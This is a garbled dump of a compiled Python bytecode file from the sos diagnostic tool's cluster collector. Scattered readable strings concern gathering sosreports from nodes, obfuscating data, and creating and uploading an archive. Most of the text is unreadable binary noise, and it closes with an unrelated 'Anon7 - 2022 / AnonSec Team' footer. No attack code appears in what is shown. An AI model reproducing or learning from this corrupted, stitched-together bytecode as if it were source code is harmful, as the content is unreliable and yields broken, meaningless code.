run_extra_cmdz/Collecting additional data from primary node...z*
Successfully captured %s of %s sosreportsz3No sosreports were collected, nothing to archive...zUploaded archive successfullyzUpload attempt failed: %s)(r.r�rnr�rtrryr{rZrxr8rJrrr$�mapr��shutdownr2�popr��
report_numr��_finalize_sos_cmd�_collectr�r��hasattrrp�_run_extra_cmd�collect_extra_cmdrror��create_cluster_archiverOr�get_upload_url�upload_archiver�)r�r0�_nodesr�r��node_pwd�pool�npoolr��filesrKr\r�r`rX�s���

����

���zSoSCollector.collectc
CsJz|��WdSty$}z|�d|j|f�WYd}~dSd}~ww)z�Calls finalize_sos_cmd() on each node so that we have the final
        command before we thread out the actual execution of sos
        z)Could not finalize sos command for %s: %sN)�finalize_sos_cmdr�r�ry�r�r�r�r\r\r`r��s���zSoSCollector._finalize_sos_cmdc
Csvz |js	|��n|jjs|��|jr|jd7_WdSWdSty:}z|�d|�WYd}~dSd}~ww)zRuns sosreport on each noder�zError running sosreport: %sN)r��	sosreportrxr2ror�r�r�r\r\r`r�s
���zSoSCollector._collectcCs.|jD]}|jr|�d|j�|��qdS)zClose all sessions for nodeszClosing connection to %sN)rnr�r�ryr�)r�r�r\r\r`r�
s
��z"SoSCollector.close_all_connectionsc
Cs
d}g}|jD]
}|jD]}|�|�qqd}|jjr_|j|j|j|j|jd�}z|j	�
d�td|d�}|�|j�|�
�\}}d}Wnty^}z|j	�d|�WYd}~nd}~ww�z|�d�|D]@}|�d	�d
}	|rx|�|	�}	tj�|j|�}
|jj|
|	d�|r�|�|�}|r�tj�d|�d	�d
�}
|
d
7}
|j�||
�qh|jj|jtj�dd�d�|jj|jtj�dd�d�|jdur�|j�|jj�|�rtj�|j|jj�}|jtj�|dd�dd�|jtj�|dd�dd�|jtj�|dd�dd�|j� |jj�}
tj�|jtj�!|
��}|�r&|�|�"dd��}t�#|
|�|�rK|�tj�|jd|j$��}t�#||�|j	�
d|�|j%�
d|�|j	�
d�|j	�
d|�|WSt�y�}zd||j&f}|�'|d�WYd}~dSd}~ww)zeCalls for creation of tar archive then cleans up the temporary
        files created by sos-collectorNF)rr��sys_tmpr	rqrT)�in_place�hook_commonsz&ERROR: unable to obfuscate reports: %sz!Creating archive of sosreports...rJ���)r��	checksumsz.sha256r�zsos.logzui.log)�
short_name�sos_reportsz
manifest.jsonz.tarz-obfuscated.tarz%s_private_mapz4A mapping of obfuscated elements is available at
	%szArchive created as %szP
The following archive has been created. Please provide it to your support team.z	%s
zNCould not finalize archive: %s

Data may still be available uncompressed at %sr�)(rn�	file_listr�rxrrr�r�rqrtrr�set_target_pathr�r�r�rr��obfuscate_stringrlr�r�r��add_file�get_new_checksum�
add_string�sos_log_file�sos_ui_log_file�add_final_manifest_datar��_name�obfuscate_file�finalize�basename�replace�renamer�rr�r�)r�r,�	arc_pathsr�r��do_cleanr��cleanerr�r�r�checksum�_dirrK�
final_name�map_namer�r\r\r`r�s�

������


�
�
�
����
�
������z#SoSCollector.create_cluster_archive)NrF)1r2�
__module__�__qualname__r��desc�arg_defaultsrkr��classmethodr�r�r�r�r�r�r�r�r�r�r
rr r�r�r*r9rHrMrUrarlr�r�r�rxr|r�r�r�r�r�r�r�rXr�r�r�r��
__classcell__r\r\r�r`r&sR��������	�
���
������������������� �!�"�#�$�%�&�'�(�)�*�+�,�-�.�/�0�1�2�3�4�D4



!
E

,&'&
0!Q

r)#r�r�r[rlr:r�r<ryr7r�r�concurrent.futuresrr�pathlibr�pipesr�textwrapr�sos.cleanerr�sos.collector.sosnoder	�sos.optionsr
r�
sos.componentr�
sos.utilitiesr
r�rrXrr\r\r\r`�<module>s0


Anon7 - 2022
AnonSec Team